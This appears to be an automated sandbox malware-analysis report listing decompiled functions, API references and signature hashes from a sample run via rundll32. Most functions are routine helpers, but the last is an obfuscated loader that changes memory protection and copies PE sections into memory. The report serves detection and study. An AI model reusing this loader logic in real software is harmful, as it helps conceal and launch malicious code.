				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}

0x00a17c6b
0x00a17c6f
0x00a17c84
0x00a17c88
0x00a17c8b
0x00a17c91
0x00a17c95
0x00a17c98
0x00a17ca3
0x00a17c9a
0x00a17c9a
0x00a17c9a
0x00a17c98
0x00a17cb1

APIs

memset.NTDLL ref: 00A17C6F
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,74B481D0), ref: 00A17C84
CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 00A17C91
CloseHandle.KERNEL32(?), ref: 00A17CA3

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: CreateEvent$CloseHandlememset
String ID:
API String ID: 2812548120-0
Opcode ID: 0bc1af4ceb0928d7603d086d7bf0a7be902eb5c05600447b77549a3cd086ba87
Instruction ID: 12b99d8c934e2ee9a1d579dfab81633a75744391c5170593e0c7c7ebfc32e54b
Opcode Fuzzy Hash: 0bc1af4ceb0928d7603d086d7bf0a7be902eb5c05600447b77549a3cd086ba87
Instruction Fuzzy Hash: 69F05EB5104308BFD3109F62DCC0CABBBBCFB852D9B15992DF04281141D632A8498AB0

Uniqueness

Uniqueness Score: -1.00%

Function 00A175E9, Relevance: 6.0, APIs: 4, Instructions: 29
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00A175E9(void** __esi) {
				char* _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				intOrPtr _t11;
				void* _t12;
				void** _t14;

				_t14 = __esi;
				_t4 =  *0xa1d32c; // 0x31395b0
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0xa1d32c; // 0x31395b0
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t14;
				if(_t8 != 0 && _t8 != 0xa1d030) {
					HeapFree( *0xa1d238, 0, _t8);
				}
				_t14[1] = E00A194A9(_v0, _t14);
				_t11 =  *0xa1d32c; // 0x31395b0
				_t12 = _t11 + 0x40;
				__imp__(_t12);
				return _t12;
			}

0x00a175e9
0x00a175e9
0x00a175f2
0x00a17602
0x00a17602
0x00a17607
0x00a1760c
0x00000000
0x00000000
0x00a175fc
0x00a175fc
0x00a1760e
0x00a17612
0x00a17624
0x00a17624
0x00a17634
0x00a17637
0x00a1763c
0x00a17640
0x00a17646

APIs

RtlEnterCriticalSection.NTDLL(03139570), ref: 00A175F2
Sleep.KERNEL32(0000000A,?,00A123DE), ref: 00A175FC
HeapFree.KERNEL32(00000000,00000000,?,00A123DE), ref: 00A17624
RtlLeaveCriticalSection.NTDLL(03139570), ref: 00A17640

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: 6caac51542fd5ee762272b19be1f627a8065e8c8589433b55828daae5a2b51f6
Instruction ID: bd416a78b56c4b5bae44c1db633122ff67beb252cc6260766f0cdb0dd4129598
Opcode Fuzzy Hash: 6caac51542fd5ee762272b19be1f627a8065e8c8589433b55828daae5a2b51f6
Instruction Fuzzy Hash: 44F0D474A44641EBE710DBE9DD49EDAB7B8AF18750B04C405F822DA261D770ED82CA2A

Uniqueness

Uniqueness Score: -1.00%

Function 00A1970F, Relevance: 6.0, APIs: 4, Instructions: 29
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A1970F() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0xa1d26c; // 0x20c
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0xa1d2b8; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0xa1d26c; // 0x20c
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0xa1d238; // 0x2d40000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}

0x00a1970f
0x00a19716
0x00a19760
0x00a19762
0x00a19762
0x00a1971a
0x00a19720
0x00a19725
0x00a19729
0x00a1972f
0x00a19736
0x00000000
0x00000000
0x00a19738
0x00a1973d
0x00000000
0x00000000
0x00000000
0x00a1973d
0x00a1973f
0x00a19747
0x00a1974a
0x00a1974a
0x00a19750
0x00a19757
0x00a1975a
0x00a1975a
0x00000000

APIs

SetEvent.KERNEL32(0000020C,00000001,00A18099), ref: 00A1971A
SleepEx.KERNEL32(00000064,00000001), ref: 00A19729
CloseHandle.KERNEL32(0000020C), ref: 00A1974A
HeapDestroy.KERNEL32(02D40000), ref: 00A1975A

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseDestroyEventHandleHeapSleep
String ID:
API String ID: 4109453060-0
Opcode ID: 4c48898433725927261b367665c2dc4f4c56bfb065457d971c13766e271503bc
Instruction ID: 53dba8be156a03c28dd208f239ae785febb16bc8899c533e38ce722df92c3397
Opcode Fuzzy Hash: 4c48898433725927261b367665c2dc4f4c56bfb065457d971c13766e271503bc
Instruction Fuzzy Hash: 8DF0A030B153009BE720EFB5AD88BC337ACAF08760B048200B814E32E0DB34D881D650

Uniqueness

Uniqueness Score: -1.00%

Function 00A1A5D6, Relevance: 6.0, APIs: 4, Instructions: 28
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00A1A5D6() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0xa1d32c; // 0x31395b0
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0xa1d32c; // 0x31395b0
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0xa1d32c; // 0x31395b0
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0xa1e836) {
					HeapFree( *0xa1d238, 0, _t10);
					_t7 =  *0xa1d32c; // 0x31395b0
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}

0x00a1a5d6
0x00a1a5df
0x00a1a5ef
0x00a1a5ef
0x00a1a5f4
0x00a1a5f9
0x00000000
0x00000000
0x00a1a5e9
0x00a1a5e9
0x00a1a5fb
0x00a1a600
0x00a1a604
0x00a1a617
0x00a1a61d
0x00a1a61d
0x00a1a626
0x00a1a628
0x00a1a62c
0x00a1a632

APIs

RtlEnterCriticalSection.NTDLL(03139570), ref: 00A1A5DF
Sleep.KERNEL32(0000000A,?,00A123DE), ref: 00A1A5E9
HeapFree.KERNEL32(00000000,?,?,00A123DE), ref: 00A1A617
RtlLeaveCriticalSection.NTDLL(03139570), ref: 00A1A62C

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: ad83287fca77ab1c1b2c6f0a0be53e42b45ba90b78c244c8d2f9ad2ce3a87fa8
Instruction ID: cc9beb0c5c8b18b65cd439fabba218a7d0a7caaf42e24e4d72edd121f9995a93
Opcode Fuzzy Hash: ad83287fca77ab1c1b2c6f0a0be53e42b45ba90b78c244c8d2f9ad2ce3a87fa8
Instruction Fuzzy Hash: 65F0D474A41200DBE718CBE4DC59E95B7A9EB18311B04C01AE822DB260C730EC42CE26

Uniqueness

Uniqueness Score: -1.00%

Function 00A17F27, Relevance: 5.1, APIs: 4, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00A17F27(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E00A12049(_t2);
				if(_t34 != 0) {
					_t30 = E00A12049(_t28);
					if(_t30 == 0) {
						E00A19039(_t34);
					} else {
						_t39 = _a4;
						_t22 = E00A1A911(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E00A1A911(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}

0x00a17f27
0x00a17f31
0x00a17f33
0x00a17f39
0x00a17f39
0x00a17f42
0x00a17f46
0x00a17f52
0x00a17f56
0x00a17fca
0x00a17f58
0x00a17f58
0x00a17f5c
0x00a17f63
0x00a17f66
0x00a17f80
0x00a17f6f
0x00a17f6f
0x00a17f73
0x00a17f76
0x00a17f7b
0x00a17f7b
0x00a17f85
0x00a17fad
0x00a17fb3
0x00a17fb6
0x00a17f87
0x00a17f89
0x00a17f91
0x00a17f9c
0x00a17fa1
0x00a17fa1
0x00a17fbd
0x00a17fc4
0x00a17fc5
0x00a17fc5
0x00a17f56
0x00a17fd5

APIs

lstrlen.KERNEL32(00000000,00000008,?,74B04D40,?,?,00A115A4,?,?,?,?,00000102,00A111DA,?,?,00000000), ref: 00A17F33

Part of subcall function 00A12049: RtlAllocateHeap.NTDLL(00000000,00000000,00A17E50), ref: 00A12055

Part of subcall function 00A1A911: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,00A17F61,00000000,00000001,00000001,?,?,00A115A4,?,?,?,?,00000102), ref: 00A1A91F
Part of subcall function 00A1A911: StrChrA.SHLWAPI(?,0000003F,?,?,00A115A4,?,?,?,?,00000102,00A111DA,?,?,00000000,00000000), ref: 00A1A929

memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,00A115A4,?,?,?,?,00000102,00A111DA,?), ref: 00A17F91
lstrcpy.KERNEL32(00000000,00000000), ref: 00A17FA1
lstrcpy.KERNEL32(00000000,00000000), ref: 00A17FAD

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpy$AllocateHeaplstrlenmemcpy
String ID:
API String ID: 3767559652-0
Opcode ID: 24e03091e8b62cc2c0c0d7a243bd2f4b00aae2a158b2aebe4a517078faf00329
Instruction ID: 33ef31c5f9441b97778a564693125b6e93e6d78fd7c3dd0bae18f1dd0ca434e1
Opcode Fuzzy Hash: 24e03091e8b62cc2c0c0d7a243bd2f4b00aae2a158b2aebe4a517078faf00329
Instruction Fuzzy Hash: EC21CD72408225EBCB029FA5CC44AEFBFB9AF49390F158065F8049B212D631CA81C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00A17CB8, Relevance: 5.0, APIs: 4, Instructions: 39
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A17CB8(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E00A12049(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}

0x00a17ccd
0x00a17cd1
0x00a17cdb
0x00a17ce2
0x00a17ce5
0x00a17ce7
0x00a17cef
0x00a17cf4
0x00a17d02
0x00a17d07
0x00a17d11

APIs

lstrlenW.KERNEL32(004F0053,74B05520,?,00000008,0313937C,?,00A1747C,004F0053,0313937C,?,?,?,?,?,?,00A16814), ref: 00A17CC8
lstrlenW.KERNEL32(00A1747C,?,00A1747C,004F0053,0313937C,?,?,?,?,?,?,00A16814), ref: 00A17CCF

Part of subcall function 00A12049: RtlAllocateHeap.NTDLL(00000000,00000000,00A17E50), ref: 00A12055

memcpy.NTDLL(00000000,004F0053,74B069A0,?,?,00A1747C,004F0053,0313937C,?,?,?,?,?,?,00A16814), ref: 00A17CEF
memcpy.NTDLL(74B069A0,00A1747C,00000002,00000000,004F0053,74B069A0,?,?,00A1747C,004F0053,0313937C), ref: 00A17D02

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlenmemcpy$AllocateHeap
String ID:
API String ID: 2411391700-0
Opcode ID: 220cf21901aa1eefe7ca91bbc251fea2fae38d21fbd02d172ff5e5bc7a0a9c2b
Instruction ID: cc23e5925addca2982ea22f81aa871a31722feb806ccbdaf54f1ce2221e42b35
Opcode Fuzzy Hash: 220cf21901aa1eefe7ca91bbc251fea2fae38d21fbd02d172ff5e5bc7a0a9c2b
Instruction Fuzzy Hash: BCF03776900118FBCB11EFA8CC85CDE7BADEE483647018062B908D7212E631EA548BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A13CC8, Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(03139910,00000000,00000000,7742C740,00A1A453,00000000), ref: 00A13CD8
lstrlen.KERNEL32(?), ref: 00A13CE0

Part of subcall function 00A12049: RtlAllocateHeap.NTDLL(00000000,00000000,00A17E50), ref: 00A12055

lstrcpy.KERNEL32(00000000,03139910), ref: 00A13CF4
lstrcat.KERNEL32(00000000,?), ref: 00A13CFF

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$AllocateHeaplstrcatlstrcpy
String ID:
API String ID: 74227042-0
Opcode ID: 8e67015dd6904d8530528ece8791ac6358d0ef3a745e7022075c46580d50140f
Instruction ID: 2e79f5ba1505e552ce1f4bf2ccdeab64225bfdb9ffee01490e62773c9c6cf7b0
Opcode Fuzzy Hash: 8e67015dd6904d8530528ece8791ac6358d0ef3a745e7022075c46580d50140f
Instruction Fuzzy Hash: 88E06D33501220AB8711DBE5AC48CEBBBADEE8D6617058426F60093120C72489028BA1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 5076 Parent PID: 6104 rundll32.exeCOMMON

Executed Functions

Function 0479348F, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 367
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E0479348F(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v32;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				void* __ebp;
				signed int _t195;
				signed int _t197;
				signed int _t198;
				signed int _t199;
				signed int _t202;
				signed int _t205;
				signed int _t211;
				void* _t212;
				signed int _t215;
				signed int _t218;
				signed int _t221;
				signed int _t222;
				signed int _t223;
				signed int _t226;
				void* _t236;
				void* _t243;
				void* _t245;
				signed int _t247;
				signed int _t259;
				long _t262;
				long _t265;
				signed int _t270;
				signed int _t275;
				signed int _t278;
				signed int _t280;
				signed int _t282;
				void* _t286;
				signed int _t287;
				void* _t292;
				void* _t293;
				DWORD* _t294;
				signed int _t299;
				signed int _t302;
				signed int _t305;
				signed int _t308;
				void* _t309;
				signed int _t313;
				signed int _t320;
				long _t325;
				signed int* _t333;

				_t299 = __esi;
				_t275 = __edi;
				_t258 = __edx;
				_t229 = __ecx;
				_t223 = __ebx;
				if( *(__ebx + 0x41820f) == 0) {
					_push(_v20);
					 *_t333 = __ecx;
					_push(__edi);
					 *_t333 =  *_t333 & 0x00000000;
					 *_t333 =  *_t333 | __edx;
					_t195 =  *((intOrPtr*)(__ebx + 0x45d020))();
					_v20 = __ecx;
					 *(__ebx + 0x41820f) =  *(__ebx + 0x41820f) & 0x00000000;
					 *(__ebx + 0x41820f) =  *(__ebx + 0x41820f) | __ecx ^ _v20 | _t195;
					_pop(_t258);
					_pop(_t229);
				}
				_push(_t325);
				 *_t333 =  *_t333 - _t325;
				 *_t333 =  *_t333 ^ _t258;
				if( *(_t223 + 0x418637) == 0) {
					_v12 = _v12 & 0x00000000;
					 *_t333 =  *_t333 | _t229;
					_t195 =  *((intOrPtr*)(_t223 + 0x45d024))(_v12);
					_v12 = _t299;
					 *(_t223 + 0x418637) =  *(_t223 + 0x418637) & 0x00000000;
					 *(_t223 + 0x418637) =  *(_t223 + 0x418637) | _t299 - _v12 ^ _t195;
					_t299 = _v12;
					_pop(_t229);
				}
				_v20 = _v20 & 0x00000000;
				_push(_v20);
				 *_t333 =  *_t333 ^ _t229;
				if( *(_t223 + 0x4181e7) == 0) {
					_v32 =  *((intOrPtr*)(_t223 + 0x418351));
					_t325 = _t325;
					_v40 =  *((intOrPtr*)(_t223 + 0x418073));
					_t320 = _t299;
					_t275 = _v44;
					_v44 =  *((intOrPtr*)(_t223 + 0x418147));
					_t195 =  *((intOrPtr*)(_t223 + 0x45d044))(_t275, _t275, _t325, _t325);
					_v20 = _t320;
					 *(_t223 + 0x4181e7) =  *(_t223 + 0x4181e7) & 0x00000000;
					 *(_t223 + 0x4181e7) =  *(_t223 + 0x4181e7) | _t320 - _v20 | _t195;
					_t299 = _v20;
				}
				_v12 = _t275;
				_t197 = _t195 & 0x00000000 | _t275 ^ _v12 | _a4;
				_t278 = _v12;
				if( *(_t223 + 0x4182f3) == 0) {
					_v16 = _v16 & 0x00000000;
					_v32 = _v32 + _t197;
					_t222 =  *((intOrPtr*)(_t223 + 0x45d024))(_v16);
					_v12 = _t229;
					 *(_t223 + 0x4182f3) =  *(_t223 + 0x4182f3) & 0x00000000;
					 *(_t223 + 0x4182f3) =  *(_t223 + 0x4182f3) | _t229 & 0x00000000 ^ _t222;
					_t229 = _v12;
					_pop(_t197);
				}
				_t198 = _t197 +  *((intOrPtr*)(_t197 + 0x3c));
				if( *(_t223 + 0x418577) == 0) {
					_v32 = _v32 - _t223;
					_v32 = _v32 + _t198;
					_v40 =  *((intOrPtr*)(_t223 + 0x418197));
					_v44 = _v44 & 0x00000000;
					_v44 = _v44 ^ _t278;
					_t229 = _v48;
					_v48 =  *((intOrPtr*)(_t223 + 0x418193));
					_v52 =  *((intOrPtr*)(_t223 + 0x418320));
					_t221 =  *((intOrPtr*)(_t223 + 0x45d048))(_v40, _t325, _t229, 0, _t223);
					_v12 = _t258;
					 *(_t223 + 0x418577) =  *(_t223 + 0x418577) & 0x00000000;
					 *(_t223 + 0x418577) =  *(_t223 + 0x418577) | _t258 - _v12 ^ _t221;
					_t258 = _v12;
					_t198 = _t198;
				}
				_v20 = 0;
				_push(_v20);
				_v32 = _v32 | _t198;
				if( *(_t223 + 0x418583) == 0) {
					_v12 = _v12 & 0x00000000;
					 *_t333 =  *_t333 ^ _t198;
					_v40 =  *((intOrPtr*)(_t223 + 0x41848b));
					_v44 =  *((intOrPtr*)(_t223 + 0x4180ab));
					_t278 = _t278;
					_v48 = _t229;
					_v52 =  *((intOrPtr*)(_t223 + 0x4185df));
					_t299 = _t299;
					_v56 =  *((intOrPtr*)(_t223 + 0x418263));
					_t270 = _t258;
					_t218 =  *((intOrPtr*)(_t223 + 0x45d048))(_t229, _v16, _t229, _t198, _v12);
					 *(_t223 + 0x418583) =  *(_t223 + 0x418583) & 0x00000000;
					 *(_t223 + 0x418583) =  *(_t223 + 0x418583) ^ _t270 & 0x00000000 ^ _t218;
					_t258 = _t270;
					_t198 = _t278;
				}
				_v12 = _t299;
				_t280 = _t278 & 0x00000000 | _t299 & 0x00000000 ^ _t198;
				_t302 = _v12;
				if( *(_t223 + 0x418117) == 0) {
					_t215 =  *((intOrPtr*)(_t223 + 0x45d024))();
					_v12 = _t302;
					 *(_t223 + 0x418117) =  *(_t223 + 0x418117) & 0x00000000;
					 *(_t223 + 0x418117) =  *(_t223 + 0x418117) ^ _t302 ^ _v12 ^ _t215;
					_t302 = _v12;
				}
				_t199 =  *(_t280 + 6) & 0x0000ffff;
				if( *((intOrPtr*)(_t223 + 0x41829b)) == 0) {
					_v16 = 0;
					 *_t333 =  *_t333 + _t199;
					_push( *((intOrPtr*)(_t223 + 0x45d024))(_v16));
					_pop( *_t108);
					_push(_v16);
					_pop( *_t110);
					_pop(_t199);
				}
				_v8 = _v8 & 0x00000000;
				_v8 = _v8 ^ _t302 ^  *_t333 ^ _t199;
				_t305 = _t302;
				if( *(_t223 + 0x41806f) == 0) {
					_push(_t325);
					 *_t333 =  *(_t223 + 0x4182df);
					_push(_t280);
					_push( *_t333);
					_v40 =  *((intOrPtr*)(_t223 + 0x418340));
					_pop(_t325);
					_v44 =  *((intOrPtr*)(_t223 + 0x41817b));
					_t243 = _t229;
					_v48 =  *((intOrPtr*)(_t223 + 0x4185ff));
					_t245 = _t243;
					_v52 =  *((intOrPtr*)(_t223 + 0x4184eb));
					_t247 = _t245;
					_t199 =  *((intOrPtr*)(_t223 + 0x45d048))(_t325, _t243, _t199);
					 *(_t223 + 0x41806f) =  *(_t223 + 0x41806f) & 0x00000000;
					 *(_t223 + 0x41806f) =  *(_t223 + 0x41806f) | _t247 ^ _v56 ^ _t199;
					_t229 = _t247;
				}
				_push(_t258);
				 *_t333 =  *_t333 - _t258;
				 *_t333 = _t280;
				if( *(_t223 + 0x4180b7) == 0) {
					_t199 =  *((intOrPtr*)(_t223 + 0x45d024))();
					 *(_t223 + 0x4180b7) =  *(_t223 + 0x4180b7) & 0x00000000;
					 *(_t223 + 0x4180b7) =  *(_t223 + 0x4180b7) | _t229 - _v40 ^ _t199;
					_t229 = _t229;
				}
				_v20 = _t305;
				_t259 =  *(_t280 + 0x54);
				_t308 = _v20;
				if( *(_t223 + 0x41812b) == 0) {
					_v12 = _v12 & 0x00000000;
					_v40 = _v40 ^ _t259;
					_t199 =  *((intOrPtr*)(_t223 + 0x45d020))(_v12);
					 *(_t223 + 0x41812b) =  *(_t223 + 0x41812b) & 0x00000000;
					 *(_t223 + 0x41812b) =  *(_t223 + 0x41812b) | _t280 & 0x00000000 | _t199;
					_t280 = _t280;
					_pop(_t259);
				}
				_v12 = _t199;
				_t282 = _t280 & 0x00000000 ^ _t199 & 0x00000000 ^  *(_t223 + 0x4180f7);
				_t202 = _v12;
				if( *(_t223 + 0x4181df) == 0) {
					_v40 = _v40 & 0x00000000;
					_v40 = _v40 | _t259;
					_v48 =  *((intOrPtr*)(_t223 + 0x418444));
					_v16 = 0;
					_v52 = _v52 | _t223;
					_t202 =  *((intOrPtr*)(_t223 + 0x45d040))(_v16, _t259, 0, _t308);
					 *(_t223 + 0x4181df) =  *(_t223 + 0x4181df) & 0x00000000;
					 *(_t223 + 0x4181df) =  *(_t223 + 0x4181df) | _t229 - _v56 | _t202;
					_t229 = _t229;
					_pop(_t259);
				}
				_v40 = _t259;
				_t309 = _a4;
				_t262 = 0;
				_v16 = _t282;
				_t231 = _t229 & 0x00000000 | _t282 - _v16 | _t262;
				if(_v16 != _t309) {
					do {
						asm("movsb");
						_t231 = _t231 - 1;
					} while (_t231 != 0);
					_v12 = _t309;
					_t294 =  *(_t223 + 0x4180f7);
					_t309 = _v12;
					 *(_t223 + 0x4184cf) = 0x40;
					_v40 = _v40 & 0x00000000;
					_v40 = _v40 | _t223 + 0x004184cf;
					_v44 = 2;
					_v48 = _v48 - _t325;
					_v48 = _v48 | _t262;
					_v16 = _v16 & 0x00000000;
					_v52 = _v52 ^ _t294; // executed
					_t202 = VirtualProtect(_v16, _t325, _t262, _t294);
				}
				_pop(_t286);
				_t287 = _t286 + 0xf8;
				_t226 = _t223;
				do {
					_v12 = _v12 & 0x00000000;
					_push(_v12);
					 *_t333 =  *_t333 | _t287;
					_v16 = _t202;
					_t205 = _v16;
					_v16 = _t205;
					_t309 = (_t309 & 0x00000000 ^ _t202 & 0x00000000 ^ _a4) +  *((intOrPtr*)(_t287 + 0x14));
					_t202 = memcpy( *((intOrPtr*)(_t287 + 0xc)) +  *(_t226 + 0x4180f7), _t309, _t231 & 0x00000000 ^ _t205 & 0x00000000 ^  *(_t287 + 0x10));
					_t333 =  &(_t333[3]);
					_t231 = 0;
					_pop(_t292);
					_t287 = _t292 + 0x28;
					_t226 = _t226;
					_t187 =  &_v8;
					 *_t187 = _v8 - 1;
				} while ( *_t187 != 0);
				_pop(_t293);
				_push(_t325);
				_t211 = (_t202 & 0x00000000 | _t325 - _v32 |  *(_t293 + 0x28)) +  *(_t226 + 0x4180f7);
				_v32 = 0;
				 *(_t226 + 0x418418) = 0 ^ _t211;
				_t236 = 0;
				_v12 = _t262;
				_t313 = _t309 & 0x00000000 | _t262 & 0x00000000 ^  *(_t226 + 0x4180f7);
				_t265 = _v12;
				if(_t313 > 0) {
					_push(_t226);
					_v32 = _v32 ^ _t226;
					_v32 = _v32 | _t313;
					_t212 = E047920EE(_t226, _t236, _t265, _t293, _t313);
					 *_t333 =  *_t333 & 0x00000000;
					 *_t333 =  *_t333 ^ _t313;
					_t211 = E04795AF6(_t212, _t226, _t236, _t265, _t293, _t313, _t236);
				}
				return _t211;
			}

0x0479348f
0x0479348f
0x0479348f
0x0479348f
0x0479348f
0x0479349c
0x0479349e
0x047934a1
0x047934a4
0x047934a5
0x047934a9
0x047934ac
0x047934b2
0x047934ba
0x047934c1
0x047934ca
0x047934cb
0x047934cb
0x047934cc
0x047934cd
0x047934d0
0x047934da
0x047934dc
0x047934e3
0x047934e6
0x047934ec
0x047934f4
0x047934fb
0x04793501
0x04793504
0x04793504
0x04793505
0x04793509
0x0479350c
0x04793516
0x04793520
0x04793524
0x0479352e
0x04793532
0x0479353a
0x0479353a
0x0479353d
0x04793543
0x0479354b
0x04793552
0x04793558
0x04793558
0x0479355b
0x04793567
0x04793569
0x04793573
0x04793575
0x0479357c
0x0479357f
0x04793585
0x0479358d
0x04793594
0x0479359a
0x0479359d
0x0479359d
0x0479359e
0x047935a8
0x047935ab
0x047935ae
0x047935ba
0x047935be
0x047935c2
0x047935cc
0x047935cc
0x047935d6
0x047935d9
0x047935df
0x047935e7
0x047935ee
0x047935f4
0x047935f7
0x047935f7
0x047935f8
0x047935ff
0x04793602
0x0479360c
0x0479360e
0x04793615
0x0479361f
0x0479362a
0x0479362e
0x04793632
0x0479363d
0x04793641
0x0479364a
0x0479364e
